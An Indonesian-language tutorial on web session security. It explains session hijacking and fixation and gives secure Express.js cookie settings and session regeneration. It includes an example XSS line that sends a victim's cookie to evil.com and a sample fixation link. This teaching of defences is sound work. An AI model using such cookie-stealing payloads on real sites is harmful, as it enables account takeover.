Session Management — Security

Apa itu Session? HTTP adalah protokol stateless — setiap request independen dan tidak tahu tentang request sebelumnya. Session adalah mekanisme untuk menyimpan

Apa itu Session?

HTTP adalah protokol stateless — setiap request independen dan tidak tahu tentang request sebelumnya. Session adalah mekanisme untuk menyimpan state pengguna di antara request, biasanya untuk menjaga status login.

Bagaimana Session Bekerja

Ancaman pada Session

1. Session Hijacking

Penyerang mencuri session ID pengguna dan menggunakannya untuk mengambil alih sesi:

// Penyerang bisa mencuri session melalui:
// 1. XSS — mencuri cookie via JavaScript
document.location = "http://evil.com/steal?cookie=" + document.cookie;

// 2. Network sniffing — jika tidak pakai HTTPS
// 3. Session fixation — memaksa user menggunakan session ID tertentu

2. Session Fixation

Penyerang membuat session terlebih dahulu, lalu memaksa korban menggunakan session tersebut:

// Penyerang membuat link:
https://example.com/login?SID=abc123
// Korban login dengan session ID abc123
// Penyerang sudah tahu session ID-nya!

Best Practices Session Management

// Express.js session configuration
const session = require("express-session");
app.use(session({
    secret: process.env.SESSION_SECRET, // Gunakan random string panjang
    name: "sessionId",                  // Ganti nama default
    resave: false,
    saveUninitialized: false,
    cookie: {
        httpOnly: true,     // Tidak bisa diakses JavaScript
        secure: true,       // Hanya dikirim via HTTPS
        sameSite: "strict", // Proteksi CSRF
        maxAge: 3600000     // 1 jam
    }
}));

Regenerasi Session ID

// Selalu regenerate session setelah login untuk mencegah fixation
app.post("/login", (req, res) => {
    // ... validasi credentials
    req.session.regenerate((err) => {
        req.session.userId = user.id;
        res.redirect("/dashboard");
    });
});

Checklist Session Security

Yang akan kamu pelajari